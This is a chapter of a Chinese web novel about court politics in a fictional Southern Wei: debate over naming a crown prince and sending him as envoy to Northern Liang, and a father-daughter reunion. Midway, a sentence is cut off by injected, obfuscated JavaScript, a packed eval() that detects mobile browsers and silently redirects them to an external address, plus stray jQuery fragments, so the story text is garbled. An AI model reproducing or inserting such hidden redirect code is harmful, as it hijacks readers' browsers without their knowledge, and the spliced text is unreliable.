“众大臣进殿！”
第二日卯时，崇明殿殿外文武群臣列队等着上朝，内侍一嗓子叫醒了这些彻夜未眠的人。甄符止站在文官首位顿了顿身，他看到旁边的崔擎舟一直在小心翼翼打量着他。
“崔大人有事？”
甄符止压低声音问，脚下的步子一步不敢停。
“甄大人可听说了，今日皇上要立储？”
甄符止笑道：“妄议储君，我甄某还没有那么大胆。怎么，崔大人有高见？”
崔擎舟忙摆手道：“哪里，不过是一同听到皇上还有联盟的意思，我觉得这个储君不好做，怕是屁股都沾到凳子上就得提着脑袋出使了。我朝上一个出去的皇子可没回来。”
崔擎舟最后这句话刻意留给了甄符止思考的时间，他说完朝着崔擎舟微微颔首，退回了自己的位置，甄符止却被他这句话分了神。
昨日萧霖说自己对储君已有人选，那这储君到底是真的储君还是替萧霖去北梁走一趟的使君，甄符止现在说不准了。
甄符止突然对萧霖提到联盟时的反应回过味来，可随即而来的是心底漫上起来的悲哀。
萧霖从来没变过，他始终都是自私的。
“有事启奏，无事退朝。”
内侍说着将大殿的门“嘭”地一声关紧，殿上的人也都意识到了坐在高处的萧霖今日恐怕不会善罢甘休，群臣面面相觑，最后莫汝安穿过人群走到殿中。
“臣诚惶诚恐，稽首再拜，伏惟陛下垂听。夫国本未定，则九鼎悬于秋毫；神器无托，则万姓危若朝露。昔周公吐哺，定成王于襁褓；汉景决断，启武帝之雄图。今四海宴然，而东宫虚位，犹龙渊空悬，恐生窥伺之念。臣闻唐宗立储，置箭三枝以诫子；宋祖传位，执手三嘱而托天。圣朝基业煌煌，岂可效始皇沙丘之憾？愿陛下效法尧舜，早定元良，使金瓯永固，宗庙有依。臣虽万死，不敢不言。”
莫汝安这话一出，众人像是煮沸的高汤，起伏不断的议论声不断冲击萧霖的耳朵，他轻咳一声，缓声道：“莫大人是觉得我老了？”
“臣不敢！”
莫汝安跪在地上重重叩首，今日这番话本来该甄符止说的，可莫汝安看了他好久也没见他有要行动的意思。他不知道崔擎舟方才和甄符止说了些什么，他只觉得甄符止现在动了别的心思。
“立储之事我思虑良久，储君亦乃国本之根，我年岁已高是当选贤为储，”萧霖说着，突然话锋一转，“可我膝下子嗣稀薄，论德行才学大皇子和四皇子难分高低，这储君人选实难抉择。”
萧霖话里话外都等着朝堂上两方人马激烈辩驳一番，莫汝安看得出他的心意，萧祺桓在萧霖心中是储君的不二人选，他此时这番作为不过是为了诈一诈崇宁手下的人。
果不其然，几个游离在崇宁阵营外的大臣开始暗示萧祺枫是嫡子，周原任更是为南魏操劳半生，萧霖笑着没有应，只等着甄符止开口。
可整个早朝甄符止一言不发，就连他身后站着的周原任都亲自上场给自己的孙儿好好鼓吹了一番，完全没有在意自己这个身份应当避嫌。
萧霖看甄符止的眼神慢慢从柔和变得警惕，直到内侍宣了退朝，萧霖留了甄符止去书房议事。
“甄大人，”萧霖语气里的不满不加掩饰，他转过身示意内侍关门出去，他盯着甄符止看了许久，继续道，“今日莫大人堂上所言，该是你要说的吧。”
“是。”
甄符止的回答干净利落，萧霖微微皱眉又朝他走了一步。
“那是什么让甄大人惜字如金？”
甄符止偏着头没有理会萧霖审视的目光，他后退一步跪在地上。
“臣斗胆问一句，皇上您在这个节骨眼要立储，为的究竟是国本，还是再选一个人去敌国为质？”
甄符止话音刚落，他用余光瞥见萧霖的身子颤了颤，萧霖没有立刻回他，而像是陷入了深远的回忆，微微张着嘴却说不出话。
“立储之后紧接着就要着手联盟之事，那储君当是出使的最好人选，只是在陛下眼中他到底是人质还是使君？”
“这会改变你心目中的人选吗？”
萧霖反问道，甄符止下意识紧了紧眉头，“不会，大皇子人品贵重，德才兼备，贵妃娘娘淑德贤良，毫无沾染朝事之企图，大皇子就是最好的人选。”
“那你是不忍心了？”
甄符止摇头，“也不是，他是您的儿子，要心疼也该是您心疼。我只是想，这一次还有没有下一个陈频敢陪殿下出使了？”
甄符止的话让整个书房陷入空前的沉默，萧霖觉得自己脚下没了根，脑袋里的眩晕感要将他推倒在地，他伸手扶住了桌子，探着身子看眼前的人。
“你觉得我还会用儿子，用忠臣的命来为自己的怯懦买单？你觉得我如今的所作所为还是因为屈服于崇宁，要遵循她的意志替四皇子扫清障碍？如果是这样的话，甄符止，你有没有为自己的选择不甘心？”
萧霖看着甄符止，瞧见他脊背绷得笔直，他这番话彻底点破了甄符止的猜疑，他知道甄符止没有回答是因为他已经在后悔了。
可萧霖也已经不在乎旁人如何看他了，他明白无论他今日做出什么决定，百年之后的史书都只会给他一个明褒暗贬的谥号。
他这些年的荒谬行事，他没有可以辩驳的空间。
“我和你一样，看中的是大皇子的品行，更是贵妃的家世。相比起周家，薛家的势力来做储君的依仗不多不少。”
萧霖抿了抿嘴，脸色慢慢沉了下去，“我无法为之前的荒唐找一个合适的借口，那一桩桩一件件的确出自我手，可我如今想要做的同你一样，我不会放任南魏在我手中颠覆，也不会放任崇宁侵蚀南魏朝堂，更不会让萧祺桓重蹈覆辙。”
“就因为陈京观？他到底是谁？”
萧霖望着甄符止的眼神起了兴趣，他看着眼前的人反问道：“你竟然不知道？那你为什么会帮他？”
萧霖的话从侧面应证了甄符止的假设，他听到萧霖继续说：“陈京观，就是陈频之子陈景豫。”
“其他人都知道？”
萧霖没有反驳，只是缓缓开口：“莫汝安之所以能受了我的邀请，就是因为他知道了陈京观和温书让的关系，至于关策，我不知道陈京观与他说了多少。陈京观的身世，像一个人尽皆知的秘密。”
“所以崇宁才非要致他于死地？她在陈京观身上看到了陈频的影子，您也是。”
萧霖眉眼微微颤动，像是被人说中了心事。
“在他身上我看到了太多人的影子，我不杀伯仁，伯仁却因我而死。我身上已经背了很多条命了。在陈京观出现之前我以为我接受了，可他的出现让我觉得是老天给我的最后一个机会，我是不想做皇帝，可既然我坐上来了，无论如何都得像个皇帝的样子。”
“国之朝纲，在民在君，南魏纵有百年基业，可想要毁掉它只需要付之一炬。那把火烧掉了丛选，烧掉了陈频，烧掉了苏晋，烧掉了千千万万信任我的人，我不该用他们来偿还我对崇宁的亏欠。崇宁可以拿走我的命，却不能拿走他们的。”
说到这，萧霖苦笑着摇摇头，他走上去扶起了甄符止，用手拍了拍他的肩膀。
“我很感激南魏还有甄大人这样的人，请甄大人再信我一次，也请甄大人在我宾西后帮桓儿收拾好这个烂摊子。”
萧霖的手停在甄符止的肩膀上，甄符止今日第一次抬头直视萧霖的眼睛，他看到萧霖朝着他笑，对他微微点头。
“那请陛下下旨吧，我随殿下去一趟北梁。”
萧霖缓缓摇头，“我另有一人选，甄大人听听？”
萧霖笑着把自己的手收了回去，甄符止微微皱眉等他的答案。
“如果要想让桓儿的位置坐得稳，随行的大臣就选薛磐。”
萧霖的话惹得甄符止一机灵，他抬眼望去，萧霖点头应下了他心中的猜测。
“十年前，陈频作为栩儿的依仗和他生死相依，这是崇宁想出来的制衡手段。这一次薛磐陪桓儿一同去，不仅可以让崇宁意识到如果她坚持要立老四，那么周原任就得陪着去北梁，而且还可以让她放松警惕，让她觉得桓儿赢面不大了，这样一来借着储君的名号我们可以把军队交给桓儿。”
萧霖顿了顿，“这是我能想到的最周密的计划了，如今我对甄大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187966|146751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人和盘托出。”
甄符止咽了咽口水，小声道：“陛下就如此信我？在您找上我之前我并没有明确表明过我的立场。”
萧霖沉吟片刻，笑着答道：“我还有其他选择吗？当牌桌子上的所有牌都出完的时候，最后一张无论是什么，他都得是王牌。”
甄符止抬头看了萧霖一眼，萧霖冲他点头。
“另外迁都之事你可以开始准备了，不要打草惊蛇，我们不可能在盛州住太久，总要回来的。”
甄符止点了点头，却又试探着问：“您可是感觉到了什么？”
萧霖摇头，沉默片刻后道：“说不上来，我觉得太静了，山雨欲来风满楼。”
……
正如萧霖所想，他一封诏书立了萧祺桓又同时将他指做前往北梁的使者，崇宁对此毫无异议。
不过崇宁手下的人的确没有消停，他们不知道从哪里弄到了薛磐外迁槐州的内幕，说薛磐是当年杀死老丞相的元凶。
萧霖心里很清楚，这是崇宁放出来混淆视听的。
有关老丞相的死这天下应该只有他二人最清楚，如今崇宁算是使出了杀敌一千自损八百的招式，不过她倒也真的不在乎，毕竟她的名声就没有好过。
只是崇宁这招出得狠，她还顺道戳中了薛雯昭的痛处。
薛磐接到诏书后即刻启程入京，在南魏第一场大雪落下的时候终于赶到了。
由于今年崇州廊州相继失守，萧霖取消了一年一度的中秋宴，薛磐原以为看不到女儿了，却没想到临近年关坐在了薛雯昭的宫里。
这是薛磐在薛雯昭封妃后第一次进她的屋子，之前她生下萧祺桓的时候萧霖准许薛磐来看过她，在那之后薛磐就没怎么女儿说过话了。
“孙儿拜见外祖父大人。”
萧祺桓恭恭敬敬给薛磐行礼，薛磐忙上前扶住他，“使不得，如今您是储君了，该要受我的礼。”
说罢薛磐撩起袍子跪在地上给萧祺桓磕了三个头，薛雯昭就坐在侧边的榻上看着他，从他进门起就一言不发。
“外祖父请起，”萧祺桓应下了薛磐的拜见，“依父亲的意思我们三日内就得出发，最好在年前能到北梁，我着人再去清点一番，你与母亲先聊，晚饭时您再与我说说话。”
萧祺桓说话时握着薛磐的手，薛磐只觉得这一切不真实，他梦里梦到过好多次这样的场面，一家人其乐融融坐在一起说笑，儿孙绕膝，桃李天下。
只可惜这终究是薛磐的梦，当不得真。
萧祺桓离开后，屋里子的下人都让薛雯昭指使了出去，她指了指自己对面的凳子，薛磐点了点头坐了过去。
“都还好吧，如今世道不太平，我听着要迁都，皇上可安排好你的住处了？”
薛磐故作轻松地闲聊着，可坐在他面前勉强比他高出一些的薛雯昭定定地看着他，薛磐不敢回视，只得不自觉攥紧了自己手。
不知道过了多久，外面的下人说了一句“下雪了”，薛雯昭转头去看，薛磐盯着她的侧脸久久不能回神。
“母亲死的时候就是这样的雪夜，槐州路远，我硬是没见到她最后一面。”
薛雯昭的声音像窗外的雪花一样融在薛磐心上，薛磐抿了抿嘴犹豫着开口：“我们年岁大了，总是要走的，她没受罪，我让她在下头等着我。”
薛雯昭“嗯”了一声，依旧盯着落满枝头的白雪。
“您去槐州赴任的时候，也是大雪天，”薛雯昭说罢转过身，“你觉得西边冬寒，硬是让母亲陪着我在阙州过完了最后一个年，您自己先去的槐州置办好了一切。”
薛雯昭看着薛磐的目光柔和了下来，薛磐看到她头上戴着自己亲手给她做的簪子。
“父亲，那一日我说您与崇宁狼狈为奸是真，说您利欲熏心是真，可我这么多年得了您的庇护才得以将桓儿养大也是真。这些说直到今日才有机会说出来，过去是女儿太过固执，在这深宫里待了半辈子我总算是看清楚了，这好人不长命才是最大的实话。”
薛雯昭苦笑着，起身站定在薛磐面前，下一秒她一身华服跪在了薛磐面前。
“您再叫我一声昭昭好不好？”